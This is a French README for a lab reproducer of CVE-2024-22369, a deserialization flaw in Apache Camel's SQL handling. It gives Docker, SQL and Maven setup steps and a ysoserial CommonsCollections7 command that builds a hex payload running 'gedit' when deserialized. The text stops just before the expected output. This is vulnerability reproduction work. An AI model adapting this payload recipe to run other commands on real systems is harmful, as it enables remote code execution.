
Reproducteur pour CVE-2024-22369
Ce POC est basé sur le reproducteur développé par Ziyang Chen du HuaWei Open Source Management Center
Le reproducteur a été utilisé pour créer ce PoC, avec quelques ajustements et nettoyages, et également enrichi avec davantage d'automatisation.
Nous aurons besoin d'une instance Mysql
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
Maintenant, nous devons créer les tables requises :
Vous avez deux fichiers : employee.sql et employee_completed.sql
Exécutez la commande suivante :
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
Saisissez votre mot de passe, exécutez USE db puis lancez les deux fichiers SQL.
À ce stade, vous disposez déjà des éléments nécessaires pour reproduire la désérialisation.
Exécutez la commande suivante
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
et notez l'adresse.
Maintenant, modifiez le fichier src/main/resources/application.properties en fonction de l'état de votre environnement.
Le payload que nous utilisons est basé sur commons-collections 3.2.1.
Vous devrez utiliser :
https://github.com/frohoff/ysoserial
Depuis la ligne de commande, vous pouvez recréer le payload de cette façon :
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
Cela retournera la version hexadécimale du payload. L'idée est d'exécuter la commande gedit lors de la désérialisation.
Vous pouvez expérimenter avec d'autres payloads et modifier les scripts SQL en changeant l'instruction INSERT et en ajoutant les nouveaux payloads générés.
Pour reproduire le comportement. Tout d'abord, sélectionnez un JDK 17 (localement ou via SDKMan).
Exécutez ensuite la commande suivante :
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
Cela produira la sortie suivante :